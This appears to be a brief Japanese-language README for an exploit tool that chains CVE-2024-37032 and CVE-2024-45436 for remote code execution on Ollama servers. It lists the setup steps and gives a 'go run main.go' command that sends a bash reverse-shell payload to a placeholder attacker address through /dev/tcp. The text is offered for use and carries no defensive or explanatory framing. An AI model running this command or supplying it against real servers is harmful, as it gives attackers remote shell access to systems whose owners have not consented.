CVE-2024-37032 & CVE-2024-45436 Ollama RCE

CVE-2024-37032 CVE-2024-45436 Linux上で実行する必要があり、環境にはgccが必要です。 golangをインストールし、以下のコマンドを実行してシェルをリバウンドします。

go run main.go -target http://127.0.0.1:11434/ -exec "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1"

注意：エクスプロイトの実行には数分かかる場合があります。しばらくお待ちください。